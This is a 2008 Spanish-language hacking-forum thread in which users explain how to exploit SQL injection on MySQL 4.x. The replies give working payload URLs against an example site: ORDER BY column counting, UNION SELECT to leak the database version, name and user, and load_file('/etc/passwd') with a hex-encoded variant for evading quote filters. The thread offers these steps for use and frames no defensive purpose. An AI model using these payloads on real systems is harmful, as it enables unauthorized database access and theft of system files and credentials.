elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 17:35  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Obtener nombre de tabla en mysql 4.x
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Obtener nombre de tabla en mysql 4.x  (Leído 3,959 veces)
sonyx_32

Desconectado Desconectado

Mensajes: 28


Ver Perfil
Obtener nombre de tabla en mysql 4.x
« en: 30 Agosto 2008, 23:55 »

Bueno mi duda es esa, hay alguna forma de obtener el nombre de las tablas con sql injection en mysql 4.x porque en esa version no esta la base de datos information_schema, segun vi lo hacen con fuerza bruta con:

Código:
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='

Ay alguna otra forma de hacerlo mas rapido?

gracias.
En línea
pepeluxx


Desconectado Desconectado

Mensajes: 340


Todos los días se aprende algo nuevo


Ver Perfil WWW
Re: Obtener nombre de tabla en mysql 4.x
« Respuesta #1 en: 28 Septiembre 2008, 12:24 »

valor' order by 1
valor' order by 2
...
valor' order by n

hasta que te de error, entonces el numero de columnas sera n-1

luego haces
xxx' union select 1,1,1,...,n-1

y en el lugar donde deberian salir los datos saldran unos

cambias alguno de ellos (debe ser uno que salga por pantalla  :)

xxx' union select 1,1,version(),1,...,n-1
En línea

blood_rec

Desconectado Desconectado

Mensajes: 30


uid=0(root) gid=0(root) groups=0(root)


Ver Perfil WWW
Re: Obtener nombre de tabla en mysql 4.x
« Respuesta #2 en: 30 Septiembre 2008, 10:15 »

para que se te haga mas sencillo entender lo que pepe te explico:

http://www.vulnsql.com/ownz.php?id=2

el ejemplo de la aplicacion vulnerable

http://www.vulnsql.com/ownz.php?id=2'

con la (') verificastes si era vulnerable

http://www.vulnsql.com/ownz.php?id=2 order by 1-- sin error

http://www.vulnsql.com/ownz.php?id=2 order by 2-- sin error

http://www.vulnsql.com/ownz.php?id=2 order by 3-- sin error

http://www.vulnsql.com/ownz.php?id=2 order by 4-- sin error

http://www.vulnsql.com/ownz.php?id=2 order by 5-- bingo (suponiendo)

te dio error por que la tabla no existe

y como dice pepe usamos la funcion UNION

http://www.vulnsql.com/ownz.php?id=2 union all select 1,2,3,4/* (ya sabes que son 4 tablas) o el comentario que funke (;) o (--)

y de ahi para lante como dice el colega  usas la funcion version entre columnas y convirtiendo la funcion te dara la version o sea lo que buscas

salu2
En línea

Fuck +|-|3 3t|-|ik4l H4c|<iNg
pepeluxx


Desconectado Desconectado

Mensajes: 340


Todos los días se aprende algo nuevo


Ver Perfil WWW
Re: Obtener nombre de tabla en mysql 4.x
« Respuesta #3 en: 30 Septiembre 2008, 11:00 »

para que se te haga mas sencillo entender lo que pepe te explico:

http://www.vulnsql.com/ownz.php?id=2 order by 5-- bingo (suponiendo)

te dio error por que la tabla no existe

y como dice pepe usamos la funcion UNION

http://www.vulnsql.com/ownz.php?id=2 union all select 1,2,3,4/* (ya sabes que son 4 tablas) o el comentario que funke (;) o (--)

En realidad no hablamos de tablas sino de columnas de una tabla.

http://www.vulnsql.com/ownz.php?id=2 order by 4-- Ok
http://www.vulnsql.com/ownz.php?id=2 order by 5-- Error

Quiere decir que la tabla sobre la que esta ejecutando el SQL tiene 4 columnas.
Imagina que estas viendo el perfil de un usuario por lo que ownz.php hace un select de alguna tabla de usuarios (la cual desconocemos el nombre) .... de esta forma sabemos que tiene 4 columnas (por ejemplo podria ser algo asi: id, user, pass, mail)

Como tanto el nombre de la tabla como el nombre de las columnas es desconocido, podemos asignar al id que nos pide el GET un valor inexistente unido a lo que queramos mostrar en pantalla:

http://www.vulnsql.com/ownz.php?id=-1 union select 1,2,3,4

supongamos que id=2 devolveria:

ROW[0] = 2, pepelux, superpass, admin@admin.com

en este caso el id=-1 devuelve 0 resultados pero como hacemos un union con otros valores, el resultado seria asi:

ROW[0] = 1, 2, 3, 4

y en pantalla en lugar de salir los datos del usuario saldra un 2 en el lugar del user, un 3 en el lugar del pass, un 4 en el lugar del mail ...

por lo que si ponemos:

http://www.vulnsql.com/ownz.php?id=-1 union select 1,version(),database(),user()

como user pondra la version del mysql, como pass pondra el nombre de la BBDD y como mail pondra el usuario de mysql que estamos usando.

Y ya que me habeis hecho escribir  :xD ... pondre otra opcion muy interesante (que solo va si el usuario de mysql tiene permisos):

http://www.vulnsql.com/ownz.php?id=-1 union select 1,load_file('/etc/passwd'),3,4

o si filtra las comillas, podemos usar HEX:

http://www.vulnsql.com/ownz.php?id=-1 union select 1,load_file(0x2f6574632f706173737764),3,4


« Última modificación: 30 Septiembre 2008, 11:02 por pepeluxx » En línea

blood_rec

Desconectado Desconectado

Mensajes: 30


uid=0(root) gid=0(root) groups=0(root)


Ver Perfil WWW
Re: Obtener nombre de tabla en mysql 4.x
« Respuesta #4 en: 1 Octubre 2008, 01:10 »

thanks for the pick up...

eso se llama posteo sin lectura  :D solo lei un poco y trate de explicar jajaja

gracias por la aclaracion pepe ;)
\
salu2
En línea

Fuck +|-|3 3t|-|ik4l H4c|<iNg
pepeluxx


Desconectado Desconectado

Mensajes: 340


Todos los días se aprende algo nuevo


Ver Perfil WWW
Re: Obtener nombre de tabla en mysql 4.x
« Respuesta #5 en: 5 Octubre 2008, 12:33 »

Si que lei lo que pusiste :P

Lo que escribi fue para corregir lo de tablas x columnas ... que lo escribiste mal  :)

Un saludo
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Crear tabla usando como nombre el campo de otra MYSQL [Solucionado]
Bases de Datos
Graphixx 1 1,576 Último mensaje 1 Diciembre 2010, 06:48
por Graphixx
Porblema indices MYSQL en tabla
Bases de Datos
Riki_89D 10 1,221 Último mensaje 3 Diciembre 2010, 19:21
por Riki_89D
Problema al obtener estructura de procedimientos en mysql con php
PHP
Darhius 0 200 Último mensaje 26 Enero 2012, 02:59
por Darhius
Quien tiene Tabla MYSQL con las Time Zones Locales
Bases de Datos
Graphixx 0 93 Último mensaje 3 Mayo 2012, 22:09
por Graphixx
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines